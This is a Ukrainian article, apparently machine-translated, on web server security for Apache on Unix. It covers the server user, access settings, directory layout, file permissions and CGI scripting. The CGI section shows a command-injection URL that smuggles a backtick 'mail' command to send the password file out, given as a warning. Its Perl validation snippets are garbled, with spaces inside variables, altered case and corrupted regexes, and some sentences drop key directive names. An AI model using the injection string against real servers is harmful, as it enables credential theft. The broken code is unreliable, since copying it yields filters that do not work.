Деякі аспекти безпеки Веб-серверів на Unix платформах

Андрій Новіков

Передмова

Захищеність комп'ютера, на якому працює Веб-сервер, і даних, що знаходяться на цьому комп'ютері, залежить від багатьох аспектів. Основними з них є:

Коректність налаштування Веб-сервера.

Коректність побудови дерева файлової системи.

Коректність встановлення прав доступу до файлів Веб-сервера.

Правильне написання CGI сценаріїв і програм.

Розглянемо їх по черзі.

Коректність налаштування Веб-сервера

На безпеку роботи Веб-сервера впливають деякі налаштування, що встановлюються вами у файлах конфігурації. Я буду говорити в основному про сервер Apache, хоча всі зауваження в рівній мірі можна застосувати й до інших серверів.

Перш за все вам необхідно правильно вибрати користувача, під яким буде працювати Веб-сервер. Справа в тому, що в Unix для того, щоб під'єднатися до 80 порту, за замовчуванням використовується в HTTP протоколі, Веб-серверу необхідно мати права користувача root. Але відповідати на запити користувачів з такими правами дуже небезпечно. Тому Веб-сервер породжує дітей з правами іншого користувача, які й обробляють запити користувачів. У файлі конфігурації (http.conf) необхідно вказати ім'я користувача, під яким будуть запускатися дочірні процеси, і групу, до якої він належить. У сервері Apache за це відповідають директиви User і Group.

Необхідно створити окремого користувача і групу, наприклад apache і webstuff. Не можна використовувати пропоновані за умовчанням nobody: nogroup - на деяких системах це відкриває "дірки" в захисті. У жодному разі також не можна запускати Веб-сервер з під користувача webadmin, який зазвичай займається всім цим господарством, тому що він має права на запис у всі файли (див. установку прав доступу до файлів). Обов'язково забороніть login для створеного вами користувача.

Дуже важливим моментом в налагодженні Веб-сервера є налагодження файлу прав доступу (access.conf). Необхідно почати з кореня дерева документів сервера і при необхідність конкретизувати установки нижче по дереву для окремих підкаталогів. На мій погляд більш надійно використовувати директиву, а не, тому що вона захищає конкретні набори файлів, незалежно від того, як ви до них потрапили (адже в серверах під Unix можна дуже ефективно користуватися лінками до файлів і директорій, роблячи логічну структуру дерева документів зручнішою). Якщо ви використовуєте Alias, дуже уважно проаналізуйте всі можливі варіанти побудови логічного дерева (шляху до файлу).

З самого початку відмініть директиву побудови індексів (Option Indexes). Якщо раптом пропаде файл index.html в будь-якому каталозі, сервер не побудує список усіх файлів у каталозі. Такий список в деяких випадках може містити небажані службові файли, які користувач не повинен бачити. Володіння їм відкриває ще одну потенційну "діру". Незважаючи на заборону індексування розміщуйте в кожен каталог файл index.html хоча б з порожнім (це вже параноя, але все ж таки ...).

Дозволяйте серверу слідувати символьним посиланнями тільки якщо ви дійсно ними користуєтеся.

Для каталогу/cgi-bin забороніть все крім ExecCGI. Переконайтеся, що скаже ваш сервер, якщо ви запросите http://www.server.dom/cgi-bin/. Він повинен послати вас дуже далеко, а не видати список всіх ваших сценаріїв!

Всі службові URL, такі як/server-status,/server-conf, повинні бути відкриті тільки для вашого доступу. При цьому вказуйте ваш IP адреса, а не hostname, тому що hostname можна підробити, а IP адреса набагато складніше.

Коректність побудови дерева файлової системи

Важливо заздалегідь дуже добре продумати структуру каталогів. Адже вони відображають структуру вашого сайту і міняти потім все дуже складно. Зауважте, що кількість документів по одній темі буде весь час рости. У каталозі не повинно бути занадто багато файлів. Це ускладнює їх пошук, ви можете помилково щось видалити, та й просто ускладнює вам роботу.

Дуже важливо, щоб каталог з настройками, каталог з файлами реєстрації (logs) і каталог зі сценаріями знаходилися вище дерева документів. Доступ до каталогу сценаріїв повинен здійснюватися директивою ScriptAlias. Рекомендується така структура:

site_____conf

| __logs

| __cgi-bin

| __htdocs

Дуже акуратно користуйтеся зв'язками, провідними поза дерева документів. Намагайтеся посилатися тільки на окремі файли, а не на цілі каталоги. Але якщо це потрібно, то можна.

Коректність встановлення прав доступу до файлів Веб-сервера

Всі файли нижче каталозі site не повинні належати користувачеві, під яким працює сервер (apache), але мають належати групі, до якої входить це користувач (webstuff).

Зазвичай файлами володіє webadmin, що також належить групі webstuff. Всі каталоги і файли повинні створюватися з umask = 027, тобто група (читай - Веб-сервер) повинна мати лише права на читання і виконання, а всі інші (не webadmin) не повинні мати жодних прав. Таким чином вам залишиться охороняти тільки login root'а і webadmin'а.

Правильне написання CGI сценаріїв і програм

Одним з основних способів потрапити у Ваш сервер, це скористатися неправильно написаним сценарієм. Існує велика кількість книг з безпечним сценаріями. Я опишу тільки основні моменти.

Першим способом порушити роботу сценарію є переповнення буферу вводу. Ніколи не вказуйте розмір буфера виходячи з розумних міркувань. Визначайте його динамічно:

read (STDIN, $ buffer, $ ENV ( 'CONTENT_LENGTH'});

Непогано також перед цим перевірити $ ENV ( 'CONTENT_LENGTH') і зменшити її до якогось розумної межі.

Другим важливим моментом є запровадження команд ОС в повертаються сценарієм змінні. Візьмемо приклад:

Нехай у на в сценарії буде рядок (@ usernames - масив імен)

system "finger @ usernames 2> & 1";

Якщо ми викличемо такий сценарій рядком http://www.yoursite.ru/cgi-bin/bad_finger.pl?andy+bob

то все буде чудово. Але, якщо його викликати рядком http://www.yoursite.ru/cgi-bin/bad_finger.pl? `Mail + [email protected] + то ваш файл паролів відлетить до "поганим хлопцям".

В зв'язку з цим тільки в крайніх випадках використовуйте такі команди, як system (), exec () і eval (). Завжди перевіряйте значення змінних на наявність метасимволів і видаляйте їх. Наприклад так:

$ value = ~ Tr/' "tnr /<>|;// d;

$ value = ~ S///g;

Ну а самим надійним способом є перевірка кожного поля на точний шаблон даних, які ви очікуєте отримати. Наприклад, якщо ви запросили поштову індекс, перевірте його рядком:

$ zip = ~/^ D (6 }$/

а якщо запросили адресу електронної пошти, рядком:

$ email = ~ s # (w +(-|.|))+@( w +(-|.|))+( ru | su | be | ca | cz | ee | fi) # # io;

Висновок

Дотримуючись цим нехитрим правилам ви значно убезпечите ваш сервер від зазіхань "нехороших хлопців", як їх називають мило в зарубіжній літературі. Головне, це пам'ятати основний принцип забезпечення безпеки - забороніть ВСЕ, а потім дозволяйте тільки те, що вам дійсно необхідно.

Список літератури

Для підготовки даної роботи були використані матеріали з сайту http://elib.albertina.ru/